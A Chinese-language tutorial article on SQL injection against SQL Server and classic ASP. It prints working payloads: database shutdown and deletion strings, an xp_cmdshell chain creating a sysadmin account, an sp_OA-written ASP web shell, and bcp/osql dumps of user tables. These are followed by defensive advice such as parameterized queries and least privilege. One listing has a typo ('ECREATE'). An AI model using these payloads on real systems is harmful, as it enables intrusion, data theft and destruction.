作者:恆逸資訊 胡百敬
審稿:恆逸資訊 張智凱
前言
在上一期中,我們介紹了透過組合 SQL 語法;以較為簡單的方式侵入網站系統,本期再進一步介紹透過 SQL Server 本身強大的功能,可能完成進一步侵入的動作。
SQL Injection – 駭客的 SQL填空遊戲(下)
SQL Server 本身提供了非常多的函數、預存程序、延伸預存程序來輔助 T-SQL,好讓程式設計師透過 T-SQL 完成商業邏輯運作所需的預存程序。但一般的使用者較熟悉以 Visual Basic 等程式語言來撰寫存取資料的程式,因而對此類的功能所知不多,更別提要如何防範駭客透過這一類的功能來遂行其目的。
使用具破壞力的語法
以下列舉部分的功能稍做討論。
停掉 SQL Server 的執行
直接輸入 Shutdown 命令,要求 SQL Server 停止執行。在網頁上輸入帳號的地方可以直接鍵入以下語法便可:
' ;SHUTDOWN--
破壞內容
當然,只要權限夠,也可以執行有破壞性的 SQL 語法1 。如刪除某個資料庫:
' ;DROP Database <資料庫名稱>--
刪除資料庫內某個資料表:
' ;DROP Table <資料表名稱>--
清空某個資料表:
' ;Truncate Table <資料表名稱>--
抑或是以 DELETE 清空資料表:
' ;DELETE FROM <資料表名稱>--
使用進階且功能強悍的延伸預存程序
這一類的預存程序多以 xp_ 開頭,存放在 master 系統資料庫的延伸預存程序中。有趣的是大部分的延伸預存程序在 SQL Server 所附的線上說明中都沒有列出來,也沒有說明。筆者本想到微軟網站利用全文檢索找尋這些延伸預存程序的蛛絲馬跡,以列表討論,但發現大多是無可奉告 (undocumented),看來延伸預存程序雖然功能強大,但微軟並不鼓勵大家使用。
筆者選幾個較有趣的分別介紹。
執行其他應用程式
xp_cmdshell 應該是大家最常使用的延伸預存程序之一,透過這個延伸預存程序可以 SQL Server 的系統帳號來執行任何應用程式。
以下程式碼列表 1 直接利用作業系統所附的 NET 工具程式,在 Windows 系統中加入一個使用者帳號 Hacker ;沒有密碼,並將該帳號加到 SQL Server,再放入到最大的使用者權力群組 sysadmin:
' ; EXEC MASTER..XP_CMDSHELL 'net user Hacker /add' EXEC MASTER..SP_GRANTLOGIN 'BYRON-XP\Hacker' EXEC MASTER..SP_ADDSRVROLEMEMBER 'BYRON-XP\Hacker','sysadmin'--
程式碼列表 1:加入自訂的使用者,並賦予該帳號最大的權限。
若你還開放網際網路存取 SQL Server預設使用的 TCP 1433 埠,則駭客將有機會唐而皇之地控管 SQL Server。
與 Registry 相關的系統預存程序
SQL Server 提供了大量與 Registry 相關的延伸預存程序,以 xp_reg 開頭作為代表2。內容有:
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
駭客可以利用此類的延伸預存程序存取系統的註冊資料,例如查詢該機器上有哪些共享目錄,範例如程式碼列表 2。再利用上一期的技巧,以錯誤訊息來呈現結果。
CREATE TABLE tblShareDir(DirName VARCHAR(100), DirAtt VARCHAR(100))
INSERT tblShareDir EXEC MASTER..XP_REGENUMVALUES HKEY_LOCAL_MACHINE,'system\CurrentControlSet\Services\lanmanserver\shares'
程式碼列表 2:利用 XP_RegEnumValues 取得系統的共享目錄。
再利用上篇文章介紹的以錯誤訊息來呈現結果的技巧,或是以下文中透過 bcp.exe 工具程式將 tblShareDir 輸出成檔案,都可以取得想要的結果。
與 OLE Automation/COM 物件相關的延伸預存程序
SQL Server 提供了一組存取伺服器外部 OLE 物件相關的預存程序。它們分別是:
sp_OACreate
sp_OADestroy
sp_OAMethod
sp_OAGetProperty
sp_OASetProperty
sp_OAGetErrorInfo
sp_OAStop
你可以用它們來建立 OLE 物件(一般COM 物件就可以了,但要支援 IDispatch 介面),執行物件的方法,讀取與修改屬性,進行錯誤處理。但它們無法回應一般 OLE 或 COM 物件的事件。
有了 COM/OLE 物件的建立與執行,對於控制系統來說可算是如虎添翼,無所不能了。稍舉個例子,駭客可以利用它來取得有興趣的網頁的原始碼,如程式碼列表 3:
';DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c type c:\inetpub\wwwroot\sqlinject\login.asp > c:\inetpub\wwwroot\sqlinject\test.txt'--
程式碼列表 3:取得 login.asp 網頁的內容。
在程式碼列表 3 中,利用 SP_OACREATE 建立 “wscript.shell” 物件,並利用 SP_OAMETHOD 呼叫 “wscript.shell” 物件的 run 方法,以執行作業系統命令介面工具程式 cmd.exe,將 login.asp 輸出到 test.txt 檔案中,這時駭客只要在網頁上輸入 http://.../.../test.txt 就可以看到 login.asp 寫作的方式,作為下一步侵入的基本資訊。
當然,駭客也可以利用 Scripting.FileSystemObject 物件來建立一個 ASP 網頁後門,語法如程式碼列表 4 所示:
DECLARE @fs int,@fi int
EXEC SP_OACREATE 'Scripting.FileSystemObject',@fs OUTPUT
EXEC SP_OAMETHOD @fs,'CreateTextFile',@fs OUTPUT,'C:\InetPub\WWWRoot\SQLInject\Shell.asp',1
EXEC SP_OAMETHOD @fs,'WriteLine',null,'<% Set objShell=Server.CreateObject("WScript.Shell") : objShell.Run Request("cmd") %>'
程式碼列表 4:建立 ASP 後門網頁。
從此透過 URL 就可以執行任何執行檔,範例如下:
http://localhost/sqlinject/shell.asp?cmd=C:\WINNT\system32\cmd.exe /c type c:\inetpub\wwwroot\sqlinject\login.asp > c:\inetpub\wwwroot\sqlinject\test.txt
其他相關的延伸預存程序
這一類的延伸預存程序,你可能要小心的還有:
延伸預存程序的名稱 用途 使用範例
xp_availablemedia 顯示系統上可用的磁碟機,如 C:\。 xp_availablemedia
xp_dirtree 顯示某個目錄下的子目錄與檔案架構。 xp_dirtree 'c:\inetpub\wwwroot\'
xp_enumdsn 列出系統上已經設定好的 ODBC 資料來源名稱(DSN Data Source Name)。 xp_enumdsn
xp_enumgroups 列出作業系統上的使用者群組及該群組的說明。 xp_enumgroups
xp_getfiledetails 獲取某個檔案的相關屬性。 xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
dbo.xp_makecab 將目標多個檔案壓縮到某個目標檔案之內。
所有要壓縮的檔案都可以接在參數列的最後方,以逗號隔開。 dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpub\wwwroot\SQLInject\login.asp',
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
…
xp_ntsec_enumdomains 列出伺服器的網域名稱。 xp_ntsec_enumdomains
xp_servicecontrol 停掉或啟動某個服務。 xp_servicecontrol 'stop','schedule'
xp_servicecontrol 'start','schedule'
dbo.xp_subdirs 只列某個目錄下的子目錄。 dbo.xp_subdirs 'c:\'
xp_terminate_process 停掉某個執行中的程序,但賦予的參數是 Process ID。
利用”工作管理員”,透過選單「檢視」-「選擇欄位」勾選 pid,就可以看到每個執行程序的 Process ID xp_terminate_process 2484
xp_unpackcab 解開壓縮檔。 xp_unpackcab 'c:\test.cab','c:\temp',1
以上表列的延伸預存程序是筆者在 master 系統資料庫中,尋找名稱比較有趣的;經過一一測試的結果。但不代表可以用來侵入系統的延伸預存程序都已經完全列出,畢竟駭客的創意屢屢翻新,你必須要時時謹慎小心。
SQL Server 的工具程式
透過 SQL Server 所提供的一些工具程式可以直接將資料表的內容輸出成檔案,例如透過 bcp 的 out 參數,將儲存會員資料的資料表整個輸出成檔案,範例如下:
bcp northwind.dbo.tblUser out C:\inetput\wwwroot\sqlinject\user.txt -c -Usa -P -SByron-XP
當然,isql.exe 和 osql.exe 也都可以辦到同樣的功能,例如:
osql -Usa -P -SByron-XP -dNorthwind -oc:\inetpub\wwwroot\sqlinject\users.txt -Q"select * from tblUser"
這一類的工具程式可以搭配前文的 xp_cmdshell 延伸預存程序,或是交由利用 sp_OA 系列預存程序建立的木馬 ASP 來執行,都可以達到竊取資料的目的。
對於預防 SQL Injection 的建議
綜合以上各種的侵入技巧,筆者在此歸納一些維護系統安全的建議。
* 儘量地利用 ASP 或 ASP.NET 在伺服器端檢查與限制輸入變數的型別與長度,過濾掉不需要的內容。要注意的是這些檢查不要放在前端。
就算在前端利用 HTML Input 標籤的 MaxLength 屬性,或是以 JScript 撰寫程式來設定欄位長度的限制,只要將該網頁另存新檔,修改內容後(一般只要改寫 Form 的 Action 屬性以及 Input 的 MaxLength 屬性),重新以瀏覽器開啟再執行便可避過這些瀏覽器端的檢查。
* ASP 程式登入 SQL Server 的帳號不要使用 sa,或任何屬於 Sysadmin 群組的帳號,避免有過大的權限。
* sa 一定要有強固的密碼,尤其是 SQL Server 7.0 以前的版本,在裝機時預設 sa 沒有密碼,而一般管理者裝完後也忘了或怕麻煩而不更改密碼。
* 利用 ADO 的 Command 物件或 ADO.NET 的 SqlCommand class 來透過參數執行 SQL 語法,直接以 ADODB 的 Connection 物件執行預存程序的寫法一樣糟糕。範例如下:
Exec spXXX 參數,…
因為駭客所加入的 SQL 語法一樣可以執行:
Exec spXXX 參數,…;SHUTDOWN
我們可以建立一個預存程序程式碼列表 5:
ECREATE PROC spUserAccount
@UserName NVarchar(50),@Password NVarchar(50)
AS
SELECT UserName,Password FROM tblUser
WHERE UserName=@UserName AND Password=@Password
程式碼列表 5:用來找尋符合的使用者帳號密碼的預存程序。
同時將整個 ASP 的查詢換成如程式碼列表 6 的寫法:
<%
If Request("UserName")<>"" And Request("Pass")<>"" Then
Dim cnn,rec,strSQL,cmd
Set cnn=Server.CreateObject("ADODB.Connection")
With cnn
.ConnectionString=Application("Conn")
.Open
End With
'透過 ADODB.Command 物件來搭配預存程序,駭客就無法
'利用組合 SQL 字串的方式來侵入系統
Set cmd=Server.CreateObject("ADODB.Command")
With cmd
.ActiveConnection = cnn
.CommandText = "spUserAccount"
.CommandType = 4 'adCmdStoredProc
.Parameters.Append .CreateParameter("UserName", 202, 1, 50, Request("UserName"))
'202 代表 adVarWChar,1 代表 adParamInput
.Parameters.Append .CreateParameter("Password", 202, 1, 50, Request("Pass"))
Set rec = .Execute()
End With
If NOT rec.EOF Then
Session("UserName")=Request("UserName")
Response.Write "歡迎光臨 " & Request("UserName")
Else
Response.Write "您的帳號/密碼輸入錯誤"
End If
Else
%>
程式碼列表 6:利用 ADODB 的 Command 物件來存取預存程序。
如程式碼列表 6 中灰色的程式碼區塊,將存取 SQL Server 預存程序的方式改以透過 ADODB 的 Command 物件,如此駭客就不能用加入自訂 SQL 的語法來要求 SQL Server 執行額外的動作。
* 改掉預設的 Web 虛擬路徑,不要使用 IIS 裝好後預設的 <系統所在磁碟>\Inetpub\WWWRoot 路徑,否則利用前述的檔案存取方式,很容易在該目錄下動手腳。
* 不要顯示錯誤訊息到前端。
利用 VBScript 語法的 On Error Resume Next,並搭配 If Err.Number<>0 Then 的錯誤處理方式,自行將錯誤重導到適當的錯誤處理網頁,如此系統將更穩固,且駭客也不易透過錯誤訊息來探知系統的內部運作方式。
或著,也可以修改<系統所在磁碟>\WINNT\Help\iisHelp\common\500-100.asp 預設網頁,最簡單的方式就是將它更改名字3。
* 將用不到但功能強大的延伸預存程序刪除。
* 監控系統的執行。
* 防火牆關閉 TCP 1433/UDP 1434 埠(port)對外的連線4 。
* 隨時注意是否有新的修補程式要上。
以上是針對 SQL Injection 防護方式的建議,但我們應該謹記於心的是世界上沒有絕對安全的系統,只有自己時時小心,多看多聽駭客們是否有翻新的手法,系統是否有異常的狀況,唯有不斷加強系統的安全措施,才能將危害降至最低。
相關網址
以下是一些關於 SQL 以及系統安全的網址,提供給大家參考。
http://www.microsoft.com/sql/
http://www.microsoft.com/security/
http://www.sqlsecurity.com/
http://www.nextgenss.com/
http://www.atstake.com/
http://www.securityfocus.com/
http://www.appsecinc.com/
註釋:
1 就筆者的觀察,一般的程式設計師多喜歡用 SQL Server 最大的預設帳號 sa 來存取資料。因此給予駭客予取予求的權力。
2 這裡表列的延伸預存程序可以透過 Enterprise Manager 或 Query Analyzer 看到,但是在 SQL Server 線上叢書找不到相關資料。
3 筆者不建議一開始就刪除500-100.asp,因為這會導致很難替程式除錯。建議在程式開發完成上線後,將 500-100.asp 更改名稱。在自行撰寫的 asp 檔首加入 On Error Resume Next/If Err.Number <> 0 Then 等,錯誤處理應該是在程式撰寫時就要注意的程式架構,若為了除錯方便,可以先以單引號讓 On Error Resume Next 語法成為說明。
4 有報告顯示現今有網路蜘蛛專門尋找在網際網路上,可以直接透過 TCP 1433/UDP 1434 埠(port)存取,但 sa 帳號沒有設定密碼的 SQL Server,在找到該伺服器後便利用前述的技巧取得對系統的控制權。
沒有留言:
張貼留言